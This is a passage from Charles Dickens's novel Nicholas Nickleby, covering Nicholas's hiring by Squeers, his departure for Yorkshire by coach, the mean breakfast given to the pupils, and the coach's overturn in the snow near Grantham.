'Yes.' + +'P,' suggested Nicholas, good-naturedly. + +'Perform--business!' said Master Belling. 'Never--perform-- +business!' + +'Very well, sir,' said Squeers, darting a withering look at the +culprit. 'You and I will perform a little business on our private +account by-and-by.' + +'And just now,' said Ralph, 'we had better transact our own, +perhaps.' + +'If you please,' said Squeers. + +'Well,' resumed Ralph, 'it's brief enough; soon broached; and I hope +easily concluded. You have advertised for an able assistant, sir?' + +'Precisely so,' said Squeers. + +'And you really want one?' + +'Certainly,' answered Squeers. + +'Here he is!' said Ralph. 'My nephew Nicholas, hot from school, +with everything he learnt there, fermenting in his head, and nothing +fermenting in his pocket, is just the man you want.' + +'I am afraid,' said Squeers, perplexed with such an application from +a youth of Nicholas's figure, 'I am afraid the young man won't suit +me.' + +'Yes, he will,' said Ralph; 'I know better. Don't be cast down, +sir; you will be teaching all the young noblemen in Dotheboys Hall +in less than a week's time, unless this gentleman is more obstinate +than I take him to be.' + +'I fear, sir,' said Nicholas, addressing Mr Squeers, 'that you +object to my youth, and to my not being a Master of Arts?' + +'The absence of a college degree IS an objection,' replied Squeers, +looking as grave as he could, and considerably puzzled, no less by +the contrast between the simplicity of the nephew and the worldly +manner of the uncle, than by the incomprehensible allusion to the +young noblemen under his tuition. + +'Look here, sir,' said Ralph; 'I'll put this matter in its true +light in two seconds.' + +'If you'll have the goodness,' rejoined Squeers. + +'This is a boy, or a youth, or a lad, or a young man, or a +hobbledehoy, or whatever you like to call him, of eighteen or +nineteen, or thereabouts,' said Ralph. + +'That I see,' observed the schoolmaster. + +'So do I,' said Mr Snawley, thinking it as well to back his new +friend occasionally. + +'His father is dead, he is wholly ignorant of the world, has no +resources whatever, and wants something to do,' said Ralph. 'I +recommend him to this splendid establishment of yours, as an opening +which will lead him to fortune if he turns it to proper account. Do +you see that?' + +'Everybody must see that,' replied Squeers, half imitating the sneer +with which the old gentleman was regarding his unconscious relative. + +'I do, of course,' said Nicholas, eagerly. + +'He does, of course, you observe,' said Ralph, in the same dry, hard +manner. 'If any caprice of temper should induce him to cast aside +this golden opportunity before he has brought it to perfection, I +consider myself absolved from extending any assistance to his mother +and sister. Look at him, and think of the use he may be to you in +half-a-dozen ways! Now, the question is, whether, for some time to +come at all events, he won't serve your purpose better than twenty +of the kind of people you would get under ordinary circumstances. +Isn't that a question for consideration?' + +'Yes, it is,' said Squeers, answering a nod of Ralph's head with a +nod of his own. + +'Good,' rejoined Ralph. 'Let me have two words with you.' + +The two words were had apart; in a couple of minutes Mr Wackford +Squeers announced that Mr Nicholas Nickleby was, from that moment, +thoroughly nominated to, and installed in, the office of first +assistant master at Dotheboys Hall. + +'Your uncle's recommendation has done it, Mr Nickleby,' said +Wackford Squeers. + +Nicholas, overjoyed at his success, shook his uncle's hand warmly, +and could almost have worshipped Squeers upon the spot. + +'He is an odd-looking man,' thought Nicholas. 'What of that? +Porson was an odd-looking man, and so was Doctor Johnson; all these +bookworms are.' + +'At eight o'clock tomorrow morning, Mr Nickleby,' said Squeers, 'the +coach starts. You must be here at a quarter before, as we take +these boys with us.' + +'Certainly, sir,' said Nicholas. + +'And your fare down, I have paid,' growled Ralph. 'So, you'll have +nothing to do but keep yourself warm.' + +Here was another instance of his uncle's generosity! Nicholas felt +his unexpected kindness so much, that he could scarcely find words +to thank him; indeed, he had not found half enough, when they took +leave of the schoolmaster, and emerged from the Saracen's Head +gateway. + +'I shall be here in the morning to see you fairly off,' said Ralph. +'No skulking!' + +'Thank you, sir,' replied Nicholas; 'I never shall forget this +kindness.' + +'Take care you don't,' replied his uncle. 'You had better go home +now, and pack up what you have got to pack. Do you think you could +find your way to Golden Square first?' + +'Certainly,' said Nicholas. 'I can easily inquire.' + +'Leave these papers with my clerk, then,' said Ralph, producing a +small parcel, 'and tell him to wait till I come home.' + +Nicholas cheerfully undertook the errand, and bidding his worthy +uncle an affectionate farewell, which that warm-hearted old +gentleman acknowledged by a growl, hastened away to execute his +commission. + +He found Golden Square in due course; Mr Noggs, who had stepped out +for a minute or so to the public-house, was opening the door with a +latch-key, as he reached the steps. + +'What's that?' inquired Noggs, pointing to the parcel. + +'Papers from my uncle,' replied Nicholas; 'and you're to have the +goodness to wait till he comes home, if you please.' + +'Uncle!' cried Noggs. + +'Mr Nickleby,' said Nicholas in explanation. + +'Come in,' said Newman. + +Without another word he led Nicholas into the passage, and thence +into the official pantry at the end of it, where he thrust him into +a chair, and mounting upon his high stool, sat, with his arms +hanging, straight down by his sides, gazing fixedly upon him, as +from a tower of observation. + +'There is no answer,' said Nicholas, laying the parcel on a table +beside him. + +Newman said nothing, but folding his arms, and thrusting his head +forward so as to obtain a nearer view of Nicholas's face, scanned +his features closely. + +'No answer,' said Nicholas, speaking very loud, under the impression +that Newman Noggs was deaf. + +Newman placed his hands upon his knees, and, without uttering a +syllable, continued the same close scrutiny of his companion's face. + +This was such a very singular proceeding on the part of an utter +stranger, and his appearance was so extremely peculiar, that +Nicholas, who had a sufficiently keen sense of the ridiculous, could +not refrain from breaking into a smile as he inquired whether Mr +Noggs had any commands for him. + +Noggs shook his head and sighed; upon which Nicholas rose, and +remarking that he required no rest, bade him good-morning. + +It was a great exertion for Newman Noggs, and nobody knows to this +day how he ever came to make it, the other party being wholly +unknown to him, but he drew a long breath and actually said, out +loud, without once stopping, that if the young gentleman did not +object to tell, he should like to know what his uncle was going to +do for him. + +Nicholas had not the least objection in the world, but on the +contrary was rather pleased to have an opportunity of talking on the +subject which occupied his thoughts; so, he sat down again, and (his +sanguine imagination warming as he spoke) entered into a fervent and +glowing description of all the honours and advantages to be derived +from his appointment at that seat of learning, Dotheboys Hall. + +'But, what's the matter--are you ill?' said Nicholas, suddenly +breaking off, as his companion, after throwing himself into a +variety of uncouth attitudes, thrust his hands under the stool, and +cracked his finger-joints as if he were snapping all the bones in +his hands. + +Newman Noggs made no reply, but went on shrugging his shoulders and +cracking his finger-joints; smiling horribly all the time, and +looking steadfastly at nothing, out of the tops of his eyes, in a +most ghastly manner. + +At first, Nicholas thought the mysterious man was in a fit, but, on +further consideration, decided that he was in liquor, under which +circumstances he deemed it prudent to make off at once. He looked +back when he had got the street-door open. Newman Noggs was still +indulging in the same extraordinary gestures, and the cracking of +his fingers sounded louder that ever. + + + +CHAPTER 5 + +Nicholas starts for Yorkshire. Of his Leave-taking and his Fellow- +Travellers, and what befell them on the Road + + +If tears dropped into a trunk were charms to preserve its owner from +sorrow and misfortune, Nicholas Nickleby would have commenced his +expedition under most happy auspices. There was so much to be done, +and so little time to do it in; so many kind words to be spoken, and +such bitter pain in the hearts in which they rose to impede their +utterance; that the little preparations for his journey were made +mournfully indeed. A hundred things which the anxious care of his +mother and sister deemed indispensable for his comfort, Nicholas +insisted on leaving behind, as they might prove of some after use, +or might be convertible into money if occasion required. A hundred +affectionate contests on such points as these, took place on the sad +night which preceded his departure; and, as the termination of every +angerless dispute brought them nearer and nearer to the close of +their slight preparations, Kate grew busier and busier, and wept +more silently. + +The box was packed at last, and then there came supper, with some +little delicacy provided for the occasion, and as a set-off against +the expense of which, Kate and her mother had feigned to dine when +Nicholas was out. The poor lady nearly choked himself by attempting +to partake of it, and almost suffocated himself in affecting a jest +or two, and forcing a melancholy laugh. Thus, they lingered on till +the hour of separating for the night was long past; and then they +found that they might as well have given vent to their real feelings +before, for they could not suppress them, do what they would. So, +they let them have their way, and even that was a relief. + +Nicholas slept well till six next morning; dreamed of home, or of +what was home once--no matter which, for things that are changed or +gone will come back as they used to be, thank God! in sleep--and +rose quite brisk and gay. He wrote a few lines in pencil, to say +the goodbye which he was afraid to pronounce himself, and laying +them, with half his scanty stock of money, at his sister's door, +shouldered his box and crept softly downstairs. + +'Is that you, Hannah?' cried a voice from Miss La Creevy's sitting- +room, whence shone the light of a feeble candle. + +'It is I, Miss La Creevy,' said Nicholas, putting down the box and +looking in. + +'Bless us!' exclaimed Miss La Creevy, starting and putting her hand +to her curl-papers. 'You're up very early, Mr Nickleby.' + +'So are you,' replied Nicholas. + +'It's the fine arts that bring me out of bed, Mr Nickleby,' returned +the lady. 'I'm waiting for the light to carry out an idea.' + +Miss La Creevy had got up early to put a fancy nose into a miniature +of an ugly little boy, destined for his grandmother in the country, +who was expected to bequeath him property if he was like the family. + +'To carry out an idea,' repeated Miss La Creevy; 'and that's the +great convenience of living in a thoroughfare like the Strand. When +I want a nose or an eye for any particular sitter, I have only to +look out of window and wait till I get one.' + +'Does it take long to get a nose, now?' inquired Nicholas, smiling. + +'Why, that depends in a great measure on the pattern,' replied Miss +La Creevy. 'Snubs and Romans are plentiful enough, and there are +flats of all sorts and sizes when there's a meeting at Exeter Hall; +but perfect aquilines, I am sorry to say, are scarce, and we +generally use them for uniforms or public characters.' + +'Indeed!' said Nicholas. 'If I should meet with any in my travels, +I'll endeavour to sketch them for you.' + +'You don't mean to say that you are really going all the way down +into Yorkshire this cold winter's weather, Mr Nickleby?' said Miss +La Creevy. 'I heard something of it last night.' + +'I do, indeed,' replied Nicholas. 'Needs must, you know, when +somebody drives. Necessity is my driver, and that is only another +name for the same gentleman.' + +'Well, I am very sorry for it; that's all I can say,' said Miss La +Creevy; 'as much on your mother's and sister's account as on yours. +Your sister is a very pretty young lady, Mr Nickleby, and that is an +additional reason why she should have somebody to protect her. I +persuaded her to give me a sitting or two, for the street-door case. +'Ah! she'll make a sweet miniature.' As Miss La Creevy spoke, she +held up an ivory countenance intersected with very perceptible sky- +blue veins, and regarded it with so much complacency, that Nicholas +quite envied her. + +'If you ever have an opportunity of showing Kate some little +kindness,' said Nicholas, presenting his hand, 'I think you will.' + +'Depend upon that,' said the good-natured miniature painter; 'and +God bless you, Mr Nickleby; and I wish you well.' + +It was very little that Nicholas knew of the world, but he guessed +enough about its ways to think, that if he gave Miss La Creevy one +little kiss, perhaps she might not be the less kindly disposed +towards those he was leaving behind. So, he gave her three or four +with a kind of jocose gallantry, and Miss La Creevy evinced no +greater symptoms of displeasure than declaring, as she adjusted her +yellow turban, that she had never heard of such a thing, and +couldn't have believed it possible. + +Having terminated the unexpected interview in this satisfactory +manner, Nicholas hastily withdrew himself from the house. By the +time he had found a man to carry his box it was only seven o'clock, +so he walked slowly on, a little in advance of the porter, and very +probably with not half as light a heart in his breast as the man +had, although he had no waistcoat to cover it with, and had +evidently, from the appearance of his other garments, been spending +the night in a stable, and taking his breakfast at a pump. + +Regarding, with no small curiosity and interest, all the busy +preparations for the coming day which every street and almost every +house displayed; and thinking, now and then, that it seemed rather +hard that so many people of all ranks and stations could earn a +livelihood in London, and that he should be compelled to journey so +far in search of one; Nicholas speedily arrived at the Saracen's +Head, Snow Hill. Having dismissed his attendant, and seen the box +safely deposited in the coach-office, he looked into the coffee-room +in search of Mr Squeers. + +He found that learned gentleman sitting at breakfast, with the three +little boys before noticed, and two others who had turned up by some +lucky chance since the interview of the previous day, ranged in a +row on the opposite seat. Mr Squeers had before him a small measure +of coffee, a plate of hot toast, and a cold round of beef; but he +was at that moment intent on preparing breakfast for the little +boys. + +'This is twopenn'orth of milk, is it, waiter?' said Mr Squeers, +looking down into a large blue mug, and slanting it gently, so as to +get an accurate view of the quantity of liquid contained in it. + +'That's twopenn'orth, sir,' replied the waiter. + +'What a rare article milk is, to be sure, in London!' said Mr +Squeers, with a sigh. 'Just fill that mug up with lukewarm water, +William, will you?' + +'To the wery top, sir?' inquired the waiter. 'Why, the milk will be +drownded.' + +'Never you mind that,' replied Mr Squeers. 'Serve it right for +being so dear. You ordered that thick bread and butter for three, +did you?' + +'Coming directly, sir.' + +'You needn't hurry yourself,' said Squeers; 'there's plenty of time. +Conquer your passions, boys, and don't be eager after vittles.' As +he uttered this moral precept, Mr Squeers took a large bite out of +the cold beef, and recognised Nicholas. + +'Sit down, Mr Nickleby,' said Squeers. 'Here we are, a breakfasting +you see!' + +Nicholas did NOT see that anybody was breakfasting, except Mr +Squeers; but he bowed with all becoming reverence, and looked as +cheerful as he could. + +'Oh! that's the milk and water, is it, William?' said Squeers. +'Very good; don't forget the bread and butter presently.' + +At this fresh mention of the bread and butter, the five little boys +looked very eager, and followed the waiter out, with their eyes; +meanwhile Mr Squeers tasted the milk and water. + +'Ah!' said that gentleman, smacking his lips, 'here's richness! +Think of the many beggars and orphans in the streets that would be +glad of this, little boys. A shocking thing hunger, isn't it, Mr +Nickleby?' + +'Very shocking, sir,' said Nicholas. + +'When I say number one,' pursued Mr Squeers, putting the mug before +the children, 'the boy on the left hand nearest the window may take +a drink; and when I say number two, the boy next him will go in, and +so till we come to number five, which is the last boy. Are you +ready?' + +'Yes, sir,' cried all the little boys with great eagerness. + +'That's right,' said Squeers, calmly getting on with his breakfast; +'keep ready till I tell you to begin. Subdue your appetites, my +dears, and you've conquered human natur. This is the way we +inculcate strength of mind, Mr Nickleby,' said the schoolmaster, +turning to Nicholas, and speaking with his mouth very full of beef +and toast. + +Nicholas murmured something--he knew not what--in reply; and the +little boys, dividing their gaze between the mug, the bread and +butter (which had by this time arrived), and every morsel which Mr +Squeers took into his mouth, remained with strained eyes in torments +of expectation. + +'Thank God for a good breakfast,' said Squeers, when he had +finished. 'Number one may take a drink.' + +Number one seized the mug ravenously, and had just drunk enough to +make him wish for more, when Mr Squeers gave the signal for number +two, who gave up at the same interesting moment to number three; and +the process was repeated until the milk and water terminated with +number five. + +'And now,' said the schoolmaster, dividing the bread and butter for +three into as many portions as there were children, 'you had better +look sharp with your breakfast, for the horn will blow in a minute +or two, and then every boy leaves off.' + +Permission being thus given to fall to, the boys began to eat +voraciously, and in desperate haste: while the schoolmaster (who was +in high good humour after his meal) picked his teeth with a fork, +and looked smilingly on. In a very short time, the horn was heard. + +'I thought it wouldn't be long,' said Squeers, jumping up and +producing a little basket from under the seat; 'put what you haven't +had time to eat, in here, boys! You'll want it on the road!' + +Nicholas was considerably startled by these very economical +arrangements; but he had no time to reflect upon them, for the +little boys had to be got up to the top of the coach, and their +boxes had to be brought out and put in, and Mr Squeers's luggage was +to be seen carefully deposited in the boot, and all these offices +were in his department. He was in the full heat and bustle of +concluding these operations, when his uncle, Mr Ralph Nickleby, +accosted him. + +'Oh! here you are, sir!' said Ralph. 'Here are your mother and +sister, sir.' + +'Where?' cried Nicholas, looking hastily round. + +'Here!' replied his uncle. 'Having too much money and nothing at +all to do with it, they were paying a hackney coach as I came up, +sir.' + +'We were afraid of being too late to see him before he went away +from us,' said Mrs Nickleby, embracing her son, heedless of the +unconcerned lookers-on in the coach-yard. + +'Very good, ma'am,' returned Ralph, 'you're the best judge of +course. I merely said that you were paying a hackney coach. I +never pay a hackney coach, ma'am; I never hire one. I haven't been +in a hackney coach of my own hiring, for thirty years, and I hope I +shan't be for thirty more, if I live as long.' + +'I should never have forgiven myself if I had not seen him,' said +Mrs Nickleby. 'Poor dear boy--going away without his breakfast too, +because he feared to distress us!' + +'Mighty fine certainly,' said Ralph, with great testiness. 'When I +first went to business, ma'am, I took a penny loaf and a ha'porth of +milk for my breakfast as I walked to the city every morning; what do +you say to that, ma'am? Breakfast! Bah!' + +'Now, Nickleby,' said Squeers, coming up at the moment buttoning his +greatcoat; 'I think you'd better get up behind. I'm afraid of one +of them boys falling off and then there's twenty pound a year gone.' + +'Dear Nicholas,' whispered Kate, touching her brother's arm, 'who is +that vulgar man?' + +'Eh!' growled Ralph, whose quick ears had caught the inquiry. 'Do +you wish to be introduced to Mr Squeers, my dear?' + +'That the schoolmaster! No, uncle. Oh no!' replied Kate, shrinking +back. + +'I'm sure I heard you say as much, my dear,' retorted Ralph in his +cold sarcastic manner. 'Mr Squeers, here's my niece: Nicholas's +sister!' + +'Very glad to make your acquaintance, miss,' said Squeers, raising +his hat an inch or two. 'I wish Mrs Squeers took gals, and we had +you for a teacher. I don't know, though, whether she mightn't grow +jealous if we had. Ha! ha! ha!' + +If the proprietor of Dotheboys Hall could have known what was +passing in his assistant's breast at that moment, he would have +discovered, with some surprise, that he was as near being soundly +pummelled as he had ever been in his life. Kate Nickleby, having a +quicker perception of her brother's emotions, led him gently aside, +and thus prevented Mr Squeers from being impressed with the fact in +a peculiarly disagreeable manner. + +'My dear Nicholas,' said the young lady, 'who is this man? What +kind of place can it be that you are going to?' + +'I hardly know, Kate,' replied Nicholas, pressing his sister's hand. +'I suppose the Yorkshire folks are rather rough and uncultivated; +that's all.' + +'But this person,' urged Kate. + +'Is my employer, or master, or whatever the proper name may be,' +replied Nicholas quickly; 'and I was an ass to take his coarseness +ill. They are looking this way, and it is time I was in my place. +Bless you, love, and goodbye! Mother, look forward to our meeting +again someday! Uncle, farewell! Thank you heartily for all you +have done and all you mean to do. Quite ready, sir!' + +With these hasty adieux, Nicholas mounted nimbly to his seat, and +waved his hand as gallantly as if his heart went with it. + +At this moment, when the coachman and guard were comparing notes for +the last time before starting, on the subject of the way-bill; when +porters were screwing out the last reluctant sixpences, itinerant +newsmen making the last offer of a morning paper, and the horses +giving the last impatient rattle to their harness; Nicholas felt +somebody pulling softly at his leg. He looked down, and there stood +Newman Noggs, who pushed up into his hand a dirty letter. + +'What's this?' inquired Nicholas. + +'Hush!' rejoined Noggs, pointing to Mr Ralph Nickleby, who was +saying a few earnest words to Squeers, a short distance off: 'Take +it. Read it. Nobody knows. That's all.' + +'Stop!' cried Nicholas. + +'No,' replied Noggs. + +Nicholas cried stop, again, but Newman Noggs was gone. + +A minute's bustle, a banging of the coach doors, a swaying of the +vehicle to one side, as the heavy coachman, and still heavier guard, +climbed into their seats; a cry of all right, a few notes from the +horn, a hasty glance of two sorrowful faces below, and the hard +features of Mr Ralph Nickleby--and the coach was gone too, and +rattling over the stones of Smithfield. + +The little boys' legs being too short to admit of their feet resting +upon anything as they sat, and the little boys' bodies being +consequently in imminent hazard of being jerked off the coach, +Nicholas had enough to do over the stones to hold them on. Between +the manual exertion and the mental anxiety attendant upon this task, +he was not a little relieved when the coach stopped at the Peacock +at Islington. He was still more relieved when a hearty-looking +gentleman, with a very good-humoured face, and a very fresh colour, +got up behind, and proposed to take the other corner of the seat. + +'If we put some of these youngsters in the middle,' said the new- +comer, 'they'll be safer in case of their going to sleep; eh?' + +'If you'll have the goodness, sir,' replied Squeers, 'that'll be the +very thing. Mr Nickleby, take three of them boys between you and +the gentleman. Belling and the youngest Snawley can sit between me +and the guard. Three children,' said Squeers, explaining to the +stranger, 'books as two.' + +'I have not the least objection I am sure,' said the fresh-coloured +gentleman; 'I have a brother who wouldn't object to book his six +children as two at any butcher's or baker's in the kingdom, I dare +say. Far from it.' + +'Six children, sir?' exclaimed Squeers. + +'Yes, and all boys,' replied the stranger. + +'Mr Nickleby,' said Squeers, in great haste, 'catch hold of that +basket. Let me give you a card, sir, of an establishment where +those six boys can be brought up in an enlightened, liberal, and +moral manner, with no mistake at all about it, for twenty guineas a +year each--twenty guineas, sir--or I'd take all the boys together +upon a average right through, and say a hundred pound a year for the +lot.' + +'Oh!' said the gentleman, glancing at the card, 'you are the Mr +Squeers mentioned here, I presume?' + +'Yes, I am, sir,' replied the worthy pedagogue; 'Mr Wackford Squeers +is my name, and I'm very far from being ashamed of it. These are +some of my boys, sir; that's one of my assistants, sir--Mr Nickleby, +a gentleman's son, amd a good scholar, mathematical, classical, and +commercial. We don't do things by halves at our shop. All manner +of learning my boys take down, sir; the expense is never thought of; +and they get paternal treatment and washing in.' + +'Upon my word,' said the gentleman, glancing at Nicholas with a +half-smile, and a more than half expression of surprise, 'these are +advantages indeed.' + +'You may say that, sir,' rejoined Squeers, thrusting his hands into +his great-coat pockets. 'The most unexceptionable references are +given and required. I wouldn't take a reference with any boy, that +wasn't responsible for the payment of five pound five a quarter, no, +not if you went down on your knees, and asked me, with the tears +running down your face, to do it.' + +'Highly considerate,' said the passenger. + +'It's my great aim and end to be considerate, sir,' rejoined +Squeers. 'Snawley, junior, if you don't leave off chattering your +teeth, and shaking with the cold, I'll warm you with a severe +thrashing in about half a minute's time.' + +'Sit fast here, genelmen,' said the guard as he clambered up. + +'All right behind there, Dick?' cried the coachman. + +'All right,' was the reply. 'Off she goes!' And off she did go--if +coaches be feminine--amidst a loud flourish from the guard's horn, +and the calm approval of all the judges of coaches and coach-horses +congregated at the Peacock, but more especially of the helpers, who +stood, with the cloths over their arms, watching the coach till it +disappeared, and then lounged admiringly stablewards, bestowing +various gruff encomiums on the beauty of the turn-out. + +When the guard (who was a stout old Yorkshireman) had blown himself +quite out of breath, he put the horn into a little tunnel of a +basket fastened to the coach-side for the purpose, and giving +himself a plentiful shower of blows on the chest and shoulders, +observed it was uncommon cold; after which, he demanded of every +person separately whether he was going right through, and if not, +where he WAS going. Satisfactory replies being made to these +queries, he surmised that the roads were pretty heavy arter that +fall last night, and took the liberty of asking whether any of them +gentlemen carried a snuff-box. It happening that nobody did, he +remarked with a mysterious air that he had heard a medical gentleman +as went down to Grantham last week, say how that snuff-taking was +bad for the eyes; but for his part he had never found it so, and +what he said was, that everybody should speak as they found. Nobody +attempting to controvert this position, he took a small brown-paper +parcel out of his hat, and putting on a pair of horn spectacles (the +writing being crabbed) read the direction half-a-dozen times over; +having done which, he consigned the parcel to its old place, put up +his spectacles again, and stared at everybody in turn. After this, +he took another blow at the horn by way of refreshment; and, having +now exhausted his usual topics of conversation, folded his arms as +well as he could in so many coats, and falling into a solemn +silence, looked carelessly at the familiar objects which met his eye +on every side as the coach rolled on; the only things he seemed to +care for, being horses and droves of cattle, which he scrutinised +with a critical air as they were passed upon the road. + +The weather was intensely and bitterly cold; a great deal of snow +fell from time to time; and the wind was intolerably keen. Mr +Squeers got down at almost every stage--to stretch his legs as he +said--and as he always came back from such excursions with a very +red nose, and composed himself to sleep directly, there is reason to +suppose that he derived great benefit from the process. The little +pupils having been stimulated with the remains of their breakfast, +and further invigorated by sundry small cups of a curious cordial +carried by Mr Squeers, which tasted very like toast-and-water put +into a brandy bottle by mistake, went to sleep, woke, shivered, and +cried, as their feelings prompted. Nicholas and the good-tempered +man found so many things to talk about, that between conversing +together, and cheering up the boys, the time passed with them as +rapidly as it could, under such adverse circumstances. + +So the day wore on. At Eton Slocomb there was a good coach dinner, +of which the box, the four front outsides, the one inside, Nicholas, +the good-tempered man, and Mr Squeers, partook; while the five +little boys were put to thaw by the fire, and regaled with +sandwiches. A stage or two further on, the lamps were lighted, and +a great to-do occasioned by the taking up, at a roadside inn, of a +very fastidious lady with an infinite variety of cloaks and small +parcels, who loudly lamented, for the behoof of the outsides, the +non-arrival of her own carriage which was to have taken her on, and +made the guard solemnly promise to stop every green chariot he saw +coming; which, as it was a dark night and he was sitting with his +face the other way, that officer undertook, with many fervent +asseverations, to do. Lastly, the fastidious lady, finding there +was a solitary gentleman inside, had a small lamp lighted which she +carried in reticule, and being after much trouble shut in, the +horses were put into a brisk canter and the coach was once more in +rapid motion. + +The night and the snow came on together, and dismal enough they +were. There was no sound to be heard but the howling of the wind; +for the noise of the wheels, and the tread of the horses' feet, were +rendered inaudible by the thick coating of snow which covered the +ground, and was fast increasing every moment. The streets of +Stamford were deserted as they passed through the town; and its old +churches rose, frowning and dark, from the whitened ground. Twenty +miles further on, two of the front outside passengers, wisely +availing themselves of their arrival at one of the best inns in +England, turned in, for the night, at the George at Grantham. The +remainder wrapped themselves more closely in their coats and cloaks, +and leaving the light and warmth of the town behind them, pillowed +themselves against the luggage, and prepared, with many half- +suppressed moans, again to encounter the piercing blast which swept +across the open country. + +They were little more than a stage out of Grantham, or about halfway +between it and Newark, when Nicholas, who had been asleep for a +short time, was suddenly roused by a violent jerk which nearly threw +him from his seat. Grasping the rail, he found that the coach had +sunk greatly on one side, though it was still dragged forward by the +horses; and while--confused by their plunging and the loud screams +of the lady inside--he hesitated, for an instant, whether to jump +off or not, the vehicle turned easily over, and relieved him from +all further uncertainty by flinging him into the road. + + + +CHAPTER 6 + +In which the Occurrence of the Accident mentioned in the last +Chapter, affords an Opportunity to a couple of Gentlemen to tell +Stories against each other + + +'Wo ho!' cried the guard, on his legs in a minute, and running to +the leaders' heads. 'Is there ony genelmen there as can len' a +hond here? Keep quiet, dang ye! Wo ho!' + +'What's the matter?' demanded Nicholas, looking sleepily up. + +'Matther mun, matter eneaf for one neight,' replied the guard; 'dang +the wall-eyed bay, he's gane mad wi' glory I think, carse t'coorch +is over. Here, can't ye len' a hond? Dom it, I'd ha' dean it if +all my boans were brokken.' + +'Here!' cried Nicholas, staggering to his feet, 'I'm ready. I'm +only a little abroad, that's all.' + +'Hoold 'em toight,' cried the guard, 'while ar coot treaces. Hang +on tiv'em sumhoo. Well deane, my lod. That's it. Let'em goa noo. +Dang 'em, they'll gang whoam fast eneaf!' + +In truth, the animals were no sooner released than they trotted +back, with much deliberation, to the stable they had just left, +which was distant not a mile behind. + +'Can you blo' a harn?' asked the guard, disengaging one of the +coach-lamps. + +'I dare say I can,' replied Nicholas. + +'Then just blo' away into that 'un as lies on the grund, fit to +wakken the deead, will'ee,' said the man, 'while I stop sum o' this +here squealing inside. Cumin', cumin'. Dean't make that noise, +wooman.' + +As the man spoke, he proceeded to wrench open the uppermost door of +the coach, while Nicholas, seizing the horn, awoke the echoes far +and wide with one of the most extraordinary performances on that +instrument ever heard by mortal ears. It had its effect, however, +not only in rousing such of their fall, but in summoning assistance +to their relief; for lights gleamed in the distance, and people were +already astir. + +In fact, a man on horseback galloped down, before the passengers +were well collected together; and a careful investigation being +instituted, it appeared that the lady inside had broken her lamp, +and the gentleman his head; that the two front outsides had escaped +with black eyes; the box with a bloody nose; the coachman with a +contusion on the temple; Mr Squeers with a portmanteau bruise on his +back; and the remaining passengers without any injury at all--thanks +to the softness of the snow-drift in which they had been overturned. +These facts were no sooner thoroughly ascertained, than the lady +gave several indications of fainting, but being forewarned that if +she did, she must be carried on some gentleman's shoulders to the +nearest public-house, she prudently thought better of it, and walked +back with the rest. + +They found on reaching it, that it was a lonely place with no very +great accommodation in the way of apartments--that portion of its +resources being all comprised in one public room with a sanded +floor, and a chair or two. However, a large faggot and a plentiful +supply of coals being heaped upon the fire, the appearance of things +was not long in mending; and, by the time they had washed off all +effaceable marks of the late accident, the room was warm and light, +which was a most agreeable exchange for the cold and darkness out of +doors. + +'Well, Mr Nickleby,' said Squeers, insinuating himself into the +warmest corner, 'you did very right to catch hold of them horses. I +should have done it myself if I had come to in time, but I am very +glad you did it. You did it very well; very well.' + +'So well,' said the merry-faced gentleman, who did not seem to +approve very much of the patronising tone adopted by Squeers, 'that +if they had not been firmly checked when they were, you would most +probably have had no brains left to teach with.' + +This remark called up a discourse relative to the promptitude +Nicholas had displayed, and he was overwhelmed with compliments and +commendations. + +'I am very glad to have escaped, of course,' observed Squeers: +'every man is glad when he escapes from danger; but if any one of my +charges had been hurt--if I had been prevented from restoring any +one of these little boys to his parents whole and sound as I +received him--what would have been my feelings? Why the wheel a-top +of my head would have been far preferable to it.' + +'Are they all brothers, sir?' inquired the lady who had carried the +'Davy' or safety-lamp. + +'In one sense they are, ma'am,' replied Squeers, diving into his +greatcoat pocket for cards. 'They are all under the same parental +and affectionate treatment. Mrs Squeers and myself are a mother and +father to every one of 'em. Mr Nickleby, hand the lady them cards, +and offer these to the gentleman. Perhaps they might know of some +parents that would be glad to avail themselves of the establishment.' + +Expressing himself to this effect, Mr Squeers, who lost no +opportunity of advertising gratuitously, placed his hands upon his +knees, and looked at the pupils with as much benignity as he could +possibly affect, while Nicholas, blushing with shame, handed round +the cards as directed. + +'I hope you suffer no inconvenience from the overturn, ma'am?' said +the merry-faced gentleman, addressing the fastidious lady, as though +he were charitably desirous to change the subject. + +'No bodily inconvenience,' replied the lady. + +'No mental inconvenience, I hope?' + +'The subject is a very painful one to my feelings, sir,' replied the +lady with strong emotion; 'and I beg you as a gentleman, not to +refer to it.' + +'Dear me,' said the merry-faced gentleman, looking merrier still, 'I +merely intended to inquire--' + +'I hope no inquiries will be made,' said the lady, 'or I shall be +compelled to throw myself on the protection of the other gentlemen. +Landlord, pray direct a boy to keep watch outside the door--and if a +green chariot passes in the direction of Grantham, to stop it +instantly.' + +The people of the house were evidently overcome by this request, and +when the lady charged the boy to remember, as a means of identifying +the expected green chariot, that it would have a coachman with a +gold-laced hat on the box, and a footman, most probably in silk +stockings, behind, the attentions of the good woman of the inn were +redoubled. Even the box-passenger caught the infection, and growing +wonderfully deferential, immediately inquired whether there was not +very good society in that neighbourhood, to which the lady replied +yes, there was: in a manner which sufficiently implied that she +moved at the very tiptop and summit of it all. + +'As the guard has gone on horseback to Grantham to get another +coach,' said the good-tempered gentleman when they had been all +sitting round the fire, for some time, in silence, 'and as he must +be gone a couple of hours at the very least, I propose a bowl of hot +punch. What say you, sir?' + +This question was addressed to the broken-headed inside, who was a +man of very genteel appearance, dressed in mourning. He was not +past the middle age, but his hair was grey; it seemed to have been +prematurely turned by care or sorrow. He readily acceded to the +proposal, and appeared to be prepossessed by the frank good-nature +of the individual from whom it emanated. + +This latter personage took upon himself the office of tapster when +the punch was ready, and after dispensing it all round, led the +conversation to the antiquities of York, with which both he and the +grey-haired gentleman appeared to be well acquainted. When this +topic flagged, he turned with a smile to the grey-headed gentleman, +and asked if he could sing. + +'I cannot indeed,' replied gentleman, smiling in his turn. + +'That's a pity,' said the owner of the good-humoured countenance. +'Is there nobody here who can sing a song to lighten the time?' + +The passengers, one and all, protested that they could not; that +they wished they could; that they couldn't remember the words of +anything without the book; and so forth. + +'Perhaps the lady would not object,' said the president with great +respect, and a merry twinkle in his eye. 'Some little Italian thing +out of the last opera brought out in town, would be most acceptable +I am sure.' + +As the lady condescended to make no reply, but tossed her head +contemptuously, and murmured some further expression of surprise +regarding the absence of the green chariot, one or two voices urged +upon the president himself, the propriety of making an attempt for +the general benefit. + +'I would if I could,' said he of the good-tempered face; 'for I hold +that in this, as in all other cases where people who are strangers +to each other are thrown unexpectedly together, they should +endeavour to render themselves as pleasant, for the joint sake of +the little 